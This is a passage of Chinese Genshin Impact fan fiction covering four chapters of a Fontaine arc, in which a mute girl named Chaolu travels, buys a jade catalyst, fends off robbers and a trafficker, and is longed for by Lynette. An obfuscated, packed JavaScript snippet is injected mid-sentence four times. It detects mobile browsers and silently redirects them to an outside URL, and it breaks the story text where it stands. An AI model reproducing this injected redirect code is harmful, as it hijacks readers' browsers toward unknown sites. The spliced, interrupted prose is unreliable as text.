菲米尼认为这应当是一件好事。这样认为的他强行忽视了自己内心里的一丝不甘与遗憾。这样的情感从何而来?他不敢想。 ……也许,他最需要做的就是把自己沉入海底,去到自己的秘密基地里放空思绪。 - 你听到了琳妮特的问题,你觉得这个问题的答案显而易见,她自己也知道会得到怎样的回复。 人类真是神奇,明明知道了答案却还会把问题问出口。下意识忽视感情作用的你这样想到。 你点了点头以做对猫耳少女的回答,也不管她能不能看到被抱在怀里的你的动作,接着挣开了怀抱,掏出写字板,你用写字板在菲米尼的面前晃了晃、确定把他的目光吸引过来之后写下[等我回来之后,我有件事情想跟你说。]然后递给了菲米尼。 “啊,只有菲米尼有吗。”你听到因为察觉到你挣扎而率先把你放下的琳妮特发出平静无波的声音。 琳妮特的表情没有发生变化,依然是没什么表情的一张漂亮的脸。可不知道是不是你的错觉,你觉得她头上的猫耳好像比平时蔫了一点。 你陷入了思考。 思考完的你把写字板从菲米尼那里直接拿了回来,在菲米尼“欸……欸?!”忽然被抢东西的茫然声中继续在那行原有的字下面写道[等我回来,我们可以一起喝下午茶,到时给你带晶螺糕。]这次,你把写字板给了琳妮特。 虽然没有接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16144690|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触很长时间,但你看到琳妮特有一套自己的小茶杯,跟着菲米尼来的那天她还给你做了一份晶螺糕。你猜想她应该会喜欢和下午茶,也会喜欢吃晶螺糕的。 接过写字板的琳妮特肉眼可见地变得开心起来,你好像能从她的身边看见飘着的小花花:“既然这样,我会好好期待的。”她认真地对你说。 看来,琳妮特真的很喜欢下午茶和晶螺糕,你这样想,那么到时你自己给她做一份好了,反正你又不是不会做。 你眨了眨眼,正准备告辞就听到林尼的声音响了起来,脸上依然带着浅浅的笑意,让你怀疑他们兄妹是不是都只有一套表情:“哎,现在就我没有了吗?”他拉长了声音看着你。 不是、你也来?!尽管你不能说话,这样的意思依然清晰地从你漆黑的眼睛里流露出来。对此,林尼的回应是俏皮地眨了眨自己的右眼。 你:…… 你从察觉到你有拿回写字板的意愿便先一步把写字板递给你的琳妮特手里接过板子,勉为其难地写下[到时,也会给你带礼物的。]你没再把写字板递出去,而是拿着它举起来,在林尼面前举了五秒再放下。 林尼的脸上绽开了笑容。 * ……会是、会是要跟他说什么呢?手上拿着自己之前在朝露发烧那晚专门给她做的写字板,看完朝露写下的稚嫩却有着凌厉笔锋的字迹,连菲米尼都没有发现自己心里的那点雀跃。 就像是从外面捡来一只毛发脏乱的猫咪,他为它洗了澡、吹了毛,让猫咪重新恢复成干干净净的漂亮模样,猫咪抖了抖毛就要离开,他有些失落但还是选择了尊重猫咪自己的意愿——然后发现猫咪矜持地蹭了蹭他的小腿,那种受宠若惊的感觉。 菲米尼都有些疑心你要专门等到回来再跟他说的会是什么话了,有什么非得等到之后才说的呢?看你的表情……菲米尼悄悄垂下眼眸观察你,从你的脸上看不出丝毫动静,漆黑的眼睛里依旧看不出半点感情的影子。菲米尼放弃了对你的观察。 接着,菲米尼木然地看着你因为琳妮特的一句话“啪”地一下从他的手上抢回了写字板,完全没有管你自己的力气根本比不过他、要是他没有及时松手的话,你就会因为自己的行为而挂在写字板上,被吊了起来。 - 你离开了布法蒂公馆,坐上了巡轨船。作为水之国,枫丹的大部分地方都有水流经过,而基于这个现状,铺设的巡轨船能让人不用自己步行就能抵达枫丹国内的大部分地方。 而你选择巡轨船的主要原因是,它便宜。虽然它慢,但它实在便宜! 那位女士给你的任务专项资金,除去做任务需要的,剩下的就都是你的了,这点你懂的不能再懂。同样的东西,在枫丹廷里是一个价格,在枫丹廷外又是另一个价格。 等等,你好像忘了什么。 这一刻,你忽然回想起自己以前攒下的藏在墙壁里的一万摩拉。 37.枫丹篇-6 你的摩拉—— 你无语凝噎。明明今天是枫丹不多的没有下雨的天气,你却觉得这个时候应该下几滴雨才符合你的心境。 高悬于人们头顶的天气并不为人的意志所转移,任你心里百般想法,它依然是白云布在天幕上,既不按你的心意飘雨,也不会朝着反方向奔去透出阳光。它就只是白云悠悠地浮动,坐看下面的人来来往往、聚了又散。 你收回望向天幕的视线,已经发生的事情不会变化,除非你现在赶回去把自己房间的墙给拆了说不定还能找到,否则,还是不要抱有希望比较好。 风吹拂在你的脸上,没有被扎起的红发洋洋洒洒地向后飘去,头顶两只毛绒耳朵的美露莘领航员正在为登船的人讲解注意事项和经过的地方。 你知道,美露莘是枫丹独有的生物。她们有着小巧的身形、头上会有耳朵,有的会有翅膀,有的会有尾巴。可是,当她们有了思想、当她们有了情感,当她们能够和人正常交流、当她们和人一样会哭会笑,为什么不能把她们当做人的一种?是什么区分了人与其他智慧生物?是外表,还是固化的集群观念? 大多数的人究其一生都不会去想象他认知以外的事物,假如你拿一个常见的物件去问他为什么,只会得到纳闷地回答:“就是那样啊。”“那样”又是“哪样”?人因何确信自己眼前所见即为真实,因何肯定自己真实存在。 你并不常想这些问题。对你来说,这些问题的答案真的那么重要吗?哪怕你并不真实存在、甚至说整个提瓦特都是虚假的,那又如何。太阳照样升起又落下,过去的你也不会因为一句“世界是虚假的”就能只吃饭住宿不做家务。肚子饿的感觉很真实,发烧的浑身都软绵无力的感觉也很真实。 过去已成定局,未来虚无缥缈,你能抓住的永远只有现在。而现在的每个时刻都会成为过去,虚无缥缈的未来也会一个个变成现在,环环相扣。你的未来必定是你自己选择的,对于这点你确信无疑。 大概是吹拂在脸上的风太过温柔,等待时间流逝的过程中你的脑海里掠过各种想法,像成群跑过的鹿,又像开水壶里接二连三冒出来的泡泡。 - “你是朝露对吧?”忽然,你耳边传来一个陌生的声音。 你回过头,映入眼帘的是一个笑得很灿烂的黄发少女。 你:……? 你定定地看着这个主动找上你的少女,她的神情里没有对自己说的话的怀疑,很是笃定自己找对了人;人群处没有因这位少女靠近而专门投来的目光;她露出的肌肤上紧实的肌肉纹路和进可攻退可守的站姿都说明她经过了一定的训练。 壁炉之家果然哪里都有人啊。百闻不如一见,你在心里发出对壁炉之家的感叹。 你早就听说过壁炉之家的存在,或者说,在菲米尼把你带回布法蒂公馆之前,你就已经接触过了壁炉之家。那大概是在你三四岁的时候吧,你所在的小镇搬来了一户人家,说是能帮忙养大家养不起的孩子。 说是帮忙养,具体的意思大家其实心照不宣。已经开始踩着板凳掂锅铲的你不是没有思考过要不要去,结果在得出这只不过是在这里干活和换一个地方干活的结论之后你就没再管了。 都是干活,还不如选个近一点的,起码你现在还能有属于自己的时间。 思绪回到现在,你朝黄发少女点了点头。 你没有去思考对方是从哪里知道的你,也没有去管对方为什么会在这里叫出你的名字。一个人的目的是什么,最终都会体现到人本身的行动身上。但琢磨别人想做什么也是很累的,特别是你现在也隐约有了自己想做的事。 具体是什么事情还不清楚,可你知道它存在。这样想着,你伸出手贴上自己的胸口,薄薄的皮肤与血肉之下,那颗工作了两千多天的心脏仍在有力地跳动。 * 啊呀,好像有点吓到小朋友了啊。有着一头黄发的少女无奈地弯了弯她那双棕色的眼眸。 她就只是、很单纯很单纯地想要见一见这位被带到布法蒂公馆,又拒绝了父亲大人加入提议的小姑娘而已。没想到居然这么小,身高才到她腰的这里吧?黄发少女看着朝露,在她面前的也确实是朝露,她却仿佛透过面前神色平静的小女孩漆黑的眼睛看到了曾经那个怯生生的自己。 那个被带到父亲大人面前,畏惧又恐慌的自己。明明哥哥姐姐都说父亲平等地爱着每个孩子、只要不犯过错对方就就不会随便责罚,那时的她还是很怕,就算她自己也不知道在怕着什么,怕到看到父亲大人就一下子哭了出来。 直到现在,这位已经成了壁炉之家的一员、因为是女孩而被冠上了“雪奈茨维娜”之名的黄发少女仍能清晰地记起父亲大人为她拭去泪水的指尖,还有父亲大人略带严厉地指出“哭泣是无用而软弱的表现。”的话语。 如果当初没有加入壁炉之家的话,如今的她会是什么样的呢?有时,这名雪奈茨维娜会这样想。会过得更好吗?会过得更坏吗?她想不出来。她早已发自内心地认可了壁炉之家,早已决定会为了父亲大人的命令而献出生命。 只是,在听说有人拒绝了加入壁炉之家后,刚好完成任务应该去休息的她还是利用自己的私人时间出现在了这里。另一种可能,她会在这个名叫“朝露”的小女孩身上找到答案吗?她不知道。 哎呀,她只是个普通人,哪能做到什么问题都找出答案,黄发少女内心的小人叉起腰这样说。从一开始,她就只是想来看看这个“更多的可能性”而已。知道问题存在答案、存在很多很多的各种不同的答案,这对她来说就足够了。 说起来,巡轨船下一个停泊的小镇上好像有很好吃的桔桔薄饼,带点回去给孩子们好了。这位雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16158849|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奈茨维娜愉快地做出了决定。 - 有时候,别人真的很怪。 你看着黄发少女得到你的点头回应后又不说话,像是在想些什么的样子。率先搭话又率先沉默,奇怪的人。 不过,也不是没有一点好处。你的目光平静无波地扫过熙熙攘攘的人群,落在你身上的似有若无的视线少了很多。虽然就算有人想要找你的麻烦,你也已经想好了应对的方法就是了。 你坐在座位上,悠闲地晃了晃踩不到地板的双腿。 不知不觉间,船靠岸了。 * 你反手撑在座位上身子向前一跃,双脚重新踩到实地。有的人和你一样站了起来,也有人依然坐在座位上等候着。你环视一圈,不知道什么时候那个来找你搭话的黄发少女已经不见了踪影。 你跟随着人流下了船。 原本没有摩拉的话,捡地上的小石子揣在兜里也可以。而现在有了摩拉,你打算给自己买件趁手的武器。大概,会是能绑在肢体上的具备一定隐蔽性的短匕比较好吧?这段时间看见很多比你高大的人的你这样想。 这是一个普通的小镇,它不会拒绝其他地方来的游客,也不会把谋生的希望寄托在外来者身上。作为枫丹廷附近的小镇它有这样的底气。 于是,掏出个小板子写字问人铁匠铺在哪的你没有得到别人差异的目光,见多识广的人们大手一挥就给你指了路。 你在写字板上道谢,给对方展示了之后就朝着那个被指出来的方向走去。铁匠铺确实能买武器,你知道,能直接挂出来卖的武器杀伤力都不会太高,但你也没有多余的时间和摩拉去专门定制属于你的武器。 来到铁匠铺,一位成年男性向你点头,示意你能随便看。你抬起头,看到了挂在墙面上的弓箭和剑,还有长枪。你原想直接拿把短匕就走,但地面上摆放着的一件法器就像是会发光一样在你的视野里来回蹦跶。 你闭了闭眼,仍能看到那件法器发着的光。毫不客气地说,你根本看不到这件法器的模样,因为全被光给遮住了。 你能看到的就只有一团白光。 - 你从小就知道,你眼中的世界和别人所看到的并不一样。 “为什么要这样做”,这不是一目了然的吗?彼时只会哭泣的你在你的母亲抱着你想要走去厨房的时候哇哇大哭,哭得浑身都出了汗。然后被母亲恼怒地抱怨,说你一点都不听话。 那天,厨房里的水壶炸了。后来你的母亲说这都怪你当时一直哭缠着她,不然她就能及时去把水壶从加热器上拿下来。 可是,及时取下水壶也不会阻止它的爆炸啊。你这么说了,被认为是狡辩。 直到现在,你仍能记得当时看到的来自那个水壶的黑色光芒、或者说,不算光芒?但太亮或太暗的事物对你来说都很吸睛。 38.枫丹篇-7 你捡起了地上的那件法器,虽然白光强度依旧,你做不到透过那闪亮的光芒看清手中发起的模样,但是你真实地触碰到了它,感觉像是玉石一般温润的手感,你抿了抿唇。 好像会很贵,问个价格好了,超过预算就不买。你一边这样想,一边又给它加了一千摩拉的预算。 拿着玉石样的法器,你来到结账处,指了指自己手中的东西,然后掏出写了[打扰了,请问这件物品的价格是多少?]的写字板。 铁匠铺的老板是个满头银发的老奶奶,她躺在躺椅上,动作慢悠悠地给自己戴上白框的眼镜,接过你手中的法器:“噢,它啊。”说着的同时从柜台下拿出一个盒子,还从地上捡了张写着什么证书的纸放进盒子里。 你忽然感觉有点不妙。定定地看着老奶奶把你拿来的那团白光放进盒子里又盖上,而那团白光透过了盒盖依然在你的眼前跳跃,你听着老奶奶报出了一个刚好比你的最高预算高了一百摩拉的数字。 好的,告辞。你转过身抬腿就要走。 “……不过嘛,看在小姑娘你确实需要它的份上,可以打折。”老奶奶看似很慢实际很快地说出了这段话。 你默默地转回了身子。 说吧,能便宜多少。你抬起漆黑的眼睛与柜台后的老奶奶对视,强行忽略已经开始在视野里蹦迪的白光。 老奶奶笑眯眯地报出了你需要付的价格,刚好是你的最高预算。也就是说,只便宜了一百摩拉。 ……也行,反正你这种情况讲价很麻烦。你看上去似乎神色不变,实际上嘴角下降了一个像素点。这一千摩拉你原本打算是拿去买吃的。 你拿出装了任务专项资金的摩拉袋子,数出与价格对应的摩拉,静静地等老奶奶清点完点了点头,在柜台上把那团光连着盒子推向你。 带着盒子,好麻烦。在老奶奶的注视下,你打开了盒子,此时像是达成了目的,那团白光散去,你第一次看清了这件法器的模样,是一块由两块玉石拼接而成的透绿玉佩,组成部分的两块玉石如同你在书上见过的璃月那边所说的阴阳鱼,拼成了一个完美的圆。 你直接拿起那块圆形玉佩,打量了一下便把它挂到腰上,随后向老奶奶点了点头就抬腿离去,只留下老奶奶重新躺回躺椅上,一边慢悠悠地扇着扇子一边嘴里念叨:“……老伙计……这下你托付我的事情,我可算完成啦……” 时间的推移让她的眼眸逐渐变得浑浊,却不能改变里面的温柔。只是此时,那抹温柔莫名的感伤。 当一件为之坚持许久的事情忽然完成,老奶奶松了一口气的同时又觉得心里空落落的。 - 多年前的老奶奶也曾是个明媚的少女,还有着一个纯水精灵的伙伴。虽然不知道为什么纯水精灵好像都在往其他地方迁徙,但老奶奶的伙伴留了下来。 老奶奶起初很是高兴,却见自己的伙伴越来越虚弱。 那时的老奶奶还是铁匠铺的学徒,枫丹这边的铁匠铺并不要求铁匠自己去亲手锻造,而是通过各种参数让机器去打造,她兴冲冲地尝试打造带有各个国家特色的武器,都只炼出了废铁。 当时的她在想什么呢?是不顺利的学徒生涯,还是日渐虚弱的友人。 “有什么是我可以帮你的吗?”少女这样问。 “有什么事我可以为你做的吗。”少女悲伤地问。 彼时对自己感到迷茫的人类少女就这样看着自己的友人最后一次带着自己锻造,当时刚好是用来自璃月的玉石做材料,最后做出了一块玉佩。 也许不伦不类,也许不够像样,但这确实是那时的她唯一的成功品了。最后,她看着自己的友人跟她打了个招呼,接着身躯融进了那块玉佩里。“我可能撑不下去了,但是!我希望能看到更多更多的故事!所以不必为我担心,我相信一定会有勇者来带我去历险的。”轻快的话语犹在她的耳边响起。 那位为了听她讲故事而留下的天真的纯水精灵就此消失在她的眼前。 她等了很久,始终没有人拿起那枚玉佩,都像没有看到一样。 为了等到友人口中的“勇者”,她从满头青丝的小姑娘等成了白发苍苍的老奶奶。好在,她终于等到。 脸上爬了皱纹的老奶奶露出释然的笑。 * 在你的眼里,你只是简单地买了个玉佩,你不会知道这背后的故事。但倘若你知道了,也不会给什么多余的回应。 你不会因为陌生人的经历就甘愿背负上别人莫须有的期待。 你永远知道你自己要做什么。就算一时不够明确,步履依旧坚定而从容。 - 你循着来时的路往回走,准备搭上巡轨船去到要运送的物资所在的地方,刚走到港口附近,就听到身后错乱的脚步声在你停下脚步的时候同样停下。 看来,可以尝试和新到手的法器磨合了。 对了,法器要怎么用来着?你的眼里忽然闪过茫然,根据你的记忆来看,一般别人是通过元素力来驱动法器的,可你也没有元素力? 算了,实在不行就把它当成和地上的小石头一样的投掷性武器吧。说不定它们本来也没什么区别,就是其中一个贵了一点而已。 玉石也是石。 像是察觉到你的想法,佩戴在你腰间的玉佩不满地亮了亮。 * 你转过身子,直面三五个乌压压的成年男性,他们赤手空拳,但已足够有威慑力。你仰起头,漆黑的眼眸与他们当中为首的人视线交锋。 “呐,把你所有的摩拉,还有你的那块玉佩交出来就放过你。”为首之人咧出一个势在必得的笑。 如果你能开口,你大抵会告诉他现在还是白天,要做梦最好还是换个时间。不过现在也没什么大不了,毕竟和他交流只是浪费时间。不知不觉,你的手握上了腰间的玉佩。 就在那个瞬间,你忽然明白了这块玉佩要怎么用。 按照它的说法,你得用自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16166438|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的意识去操控它。操控它的位置,操控它去进攻。 虽然那套说法比较玄乎,但你还是一瞬间理解了它的意思,玉佩于你的手中腾空升起。 “如果你不乖乖交出来的话,就别怪我们不客气了。”察觉你没有按他所说的去做的意思,面前人的眼神陡然变得凶恶,连带着他脸上刀劈出来的疤痕也变得狰狞。 在他们还在叽里咕噜打算继续威胁的时候,你的脚后跟蹬地,借助冲力整个人跃到空中,由于惯性,你的双腿逐渐掠过头顶,你知道再过不久你变会重新落到地面上。 于是趁着还在空中,你给了自己一个旋转的加速度,脚尖直直地向为首之人的脖颈踹去。这一刹那像是很短又像是很长,你甚至还有时间抬手为自己拢了拢随着你的动作而在空中散开的红发。 对面的人看到你这番动作,都愣在原地。 很难吗,还好吧。 等为首之人反应过来准备伸出手抓住你的脚踝,好把你像拔了毛的鸡一样倒拎在空中时,随着你身形同步移动的玉佩微微亮起白光。 “啊!好痛——!”为首的人下意识吃痛地收回了他的手。你的脚成功地踢到了他的脖子,把他踢倒在地,发出好大一声声响。 “老大!” “你没事吧!”其余的人叫了起来,此起彼伏。 落地的你刚好踩在了这个老大的身上,你面无表情地歪了歪头。 现在,可以让你走了吗,你的目光掠过挡在你们身前的灌木丛,仿佛能透过灌木丛看到将要启航的巡轨船。再不走你就只能等下一趟巡轨船了,你还是有那么一点赶时间的。 脚放在身下人的脖子旁边,你无声地与其他的小弟对峙。擒贼先擒王,如果他们不同意放你走的话,你就只能先从这位空长了个头的人开始逐个击破了。 不知道用脚碾碎成年人的喉咙是什么感觉呢。如果在里面就碎掉的话,应该不会弄得满地都是血吧。会很多血也没关系,枫丹的一场雨之后很多痕迹都会被冲刷干净。 情不自禁地,可能是你已经开始想象了,你的脚逐渐向他的脖子靠近。 “——放她走!快放她走——”脚旁边的这位老大叫得杀猪似的。 面前的其余人给你让开了路。 你走向还在停靠的巡轨船,呼吸因为刚才的运动而变得稍显急促,又在你几个深呼吸之后变得平缓。 可能很快,你就会把这件事抛到脑后,唯一值得回忆的点只剩你学会了怎么使用这块玉佩。 不过,在你反击的时候,你好像感觉有人在看着你?会是他们的同伙吗,或者是小镇上的警备队成员。既然一开始没有出现,现在尘埃落地了也不必再出现了。 你走上巡轨船付了摩拉,没过多久,巡轨船就载着你还有许多的人驶向下一个地方。 - 你也许有所察觉,但没有发现自己的每一个动作都被一双粉色的眼睛尽览其中。 那是一双足够镇定的眼睛。 39.枫丹篇-8 原本想要抢劫结果反而马失前蹄的男人在朝露走后骂骂咧咧地爬了起来。 他们就只是想要抢钱而已!不至于搞成这样吧……不开玩笑地说,他真的觉得如果不是他及时让自己的小弟撤开的话,那个小女孩是真的有可能把他弄死。 想到朝露那双漆黑的看不见半点感情的眼睛,男人心里就感觉一阵毛毛的。他啐了一声:“我看那小兔崽子迟早得被抓到警备队里去!”说着他大摇大摆的,准备和自己的小弟去吃吃喝喝一番来宽慰自己。 什么?没有抢到摩拉怎么吃吃喝喝?没有摩拉就不能吃吃喝喝了吗,迂腐!在这个小镇上他也算个霸王,吃点霸王餐怎么了?想到自己“霸王”的称号,男人一时之间还有点洋洋自得。 直到一双白色的高跟鞋踏在他的面前,“还请麻烦你们和我去一趟警备队了。”甜美而略带凉意的声音响起。艾梅莉埃站了出来,腰间挂着的草元素神之眼闪烁着光芒。 她旁观了一切。 想到那个红发黑眼的小女孩……艾梅莉埃微微皱起眉头,比起当局者迷的男人,她更能感受到朝露对生命的漠然,仿佛一条人命与一颗流沙之间没有区别。 是怎么样的经历才会让一个小女孩变成这样的呢?她知道人对一件事物的情感反馈和人自身的经历有关。而在整件事情中,小女孩的情感反馈几近于无,无论是一开始的视线交锋还是最后的无声对峙。 非得说有波动的地方,还是在把男人踩在脚下、足尖即将碾上喉咙的时候。那一瞬间,艾梅莉埃察觉到了小女孩眼睛里流露出的纯然的愉悦。 令人悚然的愉悦。艾梅莉埃对此下了结论。 本来,她这次真的只是趁着假期出来散心的。有着金色中短发、发尾还略带点卷的女性发出一声叹息。她不是能去判决孰对孰错的审判官,她不是有正当权利的警备队成员,艾梅莉埃想,她只是一个调香师。 她能做的只有在遇到这样的事情后礼貌地“邀请”他们走一趟警备队而已。艾梅莉埃推了推眼镜,墨绿色的裙摆在空气中划出利落的弧度,如果他们不愿意配合,那她也略通几分拳脚。 打架可不是一位淑女该做的事,对吧?所以,就乖乖地跟她去警备队吧。不知道想到什么,艾梅莉埃忽然回过头望向巡轨船之前停靠的方向,已经开走的巡轨船什么都没有留下,只有微风拂过水面激起几道涟漪。 ……希望,她和那位小女孩不会在她的另一个身份下相遇吧。头戴绿色小礼帽、礼帽上还系着一条网格黑纱的艾梅莉埃这样想。 * 你不知道有人在祈祷着你不要违法犯罪,登上巡轨船的你正百无聊赖地等着抵达目的地。 啊,麻烦事,总有人看到你一个落单的小孩子就忍不住来“表演”一番。你打了个哈欠,希望速度能快一点,不要打扰你休息。 一位长相给人以亲切感的成年女性坐到了你的身边,笑盈盈地问你吃没吃晚饭啊、要去哪里、吃的又是什么,接着又叹气说你这个年级的孩子就是要多吃点什么才能有营养长身体…… 平心而论,她确实给人一种“母亲”的感觉,大概是符合那种想象中的会关心孩子的温柔的母亲?可惜这个身份在你这里不是加分项。你慢吞吞地掏出写字板,在上面说明你是个小哑巴,没有办法和她流畅地交谈。 看到你写下的还带着些许稚嫩的字迹,对面人的眼中飞快闪过一抹喜色,又摆出一副怜爱的面孔来对着你,又伸出她的手试图来摸摸你的头,被你一个后仰避开了也不在意:“哎哟,苦了你了,真是的,怎么也没个大人跟在身边,万一你饿了怎么办……”又开始了新一轮的絮絮叨叨。 好拙劣的演技,好能说的一张嘴。你木着脸左耳进右耳出,不是你不想跑,而是这已经是你这段时间遇到的第三个了。一个个的像是看不懂枫丹文字也读不懂你的潜台词一样,非得来试一试。 是你写得不够直白吗?你百思不得其解,可你一开始直接写“请不要和我搭话。”,还很有礼貌地带上了标点符号也没见人听。甚至有人看到有少年热情和你交谈还感动得抹泪说什么枫丹人就是要多看点这种东西、什么真是人间处处有真情的。 你:…… 你听的有点想死了。 你知道枫丹能把案件都搬上歌剧院,在观众的目光与欢呼声中拉开审判的帷幕。但,连日常也这么能联想吗?什么从“一次意外她与人间小太阳相遇,冰冷的心就此被温暖”一路给你安排到了“父母不同意他们的婚事,他们决定为爱出走”的后续。充满了跌宕起伏的戏剧性和一波三折的复杂性。 太戏剧了,枫丹。 - 终于,这位女性露出了她的尾巴:“……我这里有一些点心,你或多或少吃一点吧。”她轻声细语地说,微微蹙起的眉头像在诉说着你太瘦了,这不好。她把糕点递到了你的嘴边。 避开了这个还会有下一个前赴后继的,你有些厌烦。如果你没有任务的话说不定还能稍微配合一点,“既然你们千方百计把我带到这里,那什么时候结束就是我说了算了。”,提出开始的是他们,提出结束的是你,足够“等价”。 天平的两端平衡。 * 你有点想把她从船上踢下去了。可惜,周围的人太多了。一开始就打的这种主意吧,先拉关系套近乎,让周围的人潜移默化地习惯,留下你和她认识、也许关系还不错?的印象,接着就可以对你下手了。你不愿意的话,还能利用周围人来狡辩说她只是一番好意。 你最终只是“啪”的一声清脆,拍开了她的手。在对方还想挣扎试图让你吃下不用想就知道有问题的糕点时,你低下头在写字板上写[真的不走吗。],向她展示后,漆黑的眼睛定定地看着她,似是嘲弄。 在人群中,你大概还是会表现得“正常”一点的。你安静地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16170329|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等着对方的选择,她要是依然继续的话,你就要去找美露莘领航员了。 到时要是还想动手,伤害美露莘的代价可比伤害你一个小孩子的代价来得更大。 当然,无论她做出什么样的选择,你都会接受。并且,衷心地希望对方能够给出对应的价码。 这或许,也能算是“一场好戏”? - ……好恐怖。 不知道为什么,只是看着面前小女孩的眼睛,她就觉得自己像是坠入了冰窖,仿佛浑身都被寒冷包围,没有一丝光芒能把她照耀。 回过神来,她暗自骂了自己一句,怎么还被一个小孩子吓着了?!原本还想争取一下把糕点强塞进去的,最终也不知道为什么没敢动手。 看来,只能去找下一个“货物”了。 * 你看着自己身前面容给人以亲切之感的女性选择了转过身离开。虽然嘴上还是嘀嘀咕咕的,一看就是还不认栽,没有死心。 确实,以你现在的情况想让别人彻底死心还是有点难。 所以,你去找了领航员,告诉头上顶着两只耳朵、耳朵间还放着一顶蓝帽子的美露莘[这个人,人贩子,多注意。]你言简意赅。 “诶……这已经是第三个需要‘多注意的了吧?”美露莘豆豆眼,仅比你高了一点的美露莘敬畏地看了你一眼,“哒哒哒”地跑去把这件事告诉别人,接着带回来一碗还冒着热气的奶油蘑菇汤。 把灰白的奶油蘑菇汤塞到你手里,美露莘郑重地说:“我们会去调查的,如果情况确实属实会给你发一笔奖金。你真的还是不要那笔奖金吗?留个联系方式就可以的。”说着,美露莘一副想不明白你为什么不要奖金的模样。 [还是照旧。]你一边喝着暖呼呼的奶油蘑菇汤,一边回应。 把那些摩拉捐出去就可以,你自己都不知道你的联系方式是什么。 - 你本来没想管的,如同欧庇克莱歌剧院里缄默的观众,如同花园外的沫洁草,你以为自己只会是看客。 可每个活着的人都生活在这片提瓦特大路上,没有人可以置身事外。就当你一时兴起好了,反正这些事情最终也会被你抛到脑后。 世界好比一片巨大的蜘蛛网,每个人都是落在网上的蝴蝶。那么,提问:当蝴蝶扇动翅膀时,它是会被这张网包裹得更紧还是会就此挣脱这张网? * 大概是嗅到了什么不妙的气息,接下来你的旅途一片平静,没有人再来找你。 你终于抵达目的地,此时距离你物资运送的截止日还有半个月。 怎么说,你的取货地点是野外,这个结果你有点意外,也不算意外。循着纸条上显示的标记,你一路寻找,找到了一棵带有记号的悬铃树,在树下挖出了约有两个巴掌大的盒子。 你拿起木盒轻轻晃了晃,似乎能听到里面叮铃哐啷的碰撞声。 40.枫丹篇-9 你伸手拂去木盒表面的浮土,看着这个不算大的盒子。 盒子里的是什么呢?和壁炉之家相关的、不能直接货运要找人托运的、体积不大的、重要又没有非常重要的东西……你移开了目光,就当你什么都不知道好了,知道了估计也只是给你的生活添麻烦。 你需要做的不是弄清盒子里的是什么,而是把盒子送到它该去的地方,这一点你很是清楚。 * 朝露,此时会在做什么呢。 不用准备和表演魔术的一天,琳妮特在桌子前支着下巴眺望远方。没记错的话,朝露应该快回来了吧。 想念在心里蔓延。 原本以为见过一次面之后说不定可以放下那些念头的,结果却是听到了什么东西在心底疯长的声音。此时正下着雨,琳妮特抬起紫色的眼眸看向天空,那双剔透的眼睛似乎也飘进了雨丝。 ……原本以为。 实际上,真正的接触之后贪念却在疯长。想让那个红发的小女孩留在自己的身边,想让那个黑眼的小女孩能够看到自己,想要,永远。有时候琳妮特会想,枫丹以前不是说红发是女巫的象征吗,还有黑发红眼的吸血鬼什么的,虽然只是传说。 如果朝露真的是吸血鬼的话,那她可以用自己的血留住朝露吗?琳妮特忍不住这样想。朝露会拒绝的吧。 恍惚之间,琳妮特好像看到自己的情感凝成实质,变成一只只手如骨附疽地死死抓住那个那个小小的能被完全抱在怀里的女孩。一个错眼又像是看到一棵高大的茂密而幽绿的树伸出无数藤蔓把一个少女缠绕在其中。 琳妮特以为那个少女会是朝露,会是长大版的朝露吗?透过重重叠叠的藤蔓,她看到了一双猫耳,她和一双紫色的眼睛对上了视线。 ……啊,原来,被缠绕的是她自己啊。 这样算是,病了吗。 - 朝露离开的一个夜晚,琳妮特在菲米尼的房间里发现了一条酒红色的发带。几乎是见到的瞬间,她就想到了朝露那头红发被这根发带扎起的样子。 酒红色的发带穿绕在发间,发尾带着点卷的红发被妥妥帖帖的拢在一起。发带反而成为了她头发上的暗色。 琳妮特没有告诉过任何人,她喜欢朝露,很喜欢、非常喜欢朝露的那头红发,像是一团燃烧的、永不熄灭的火焰。 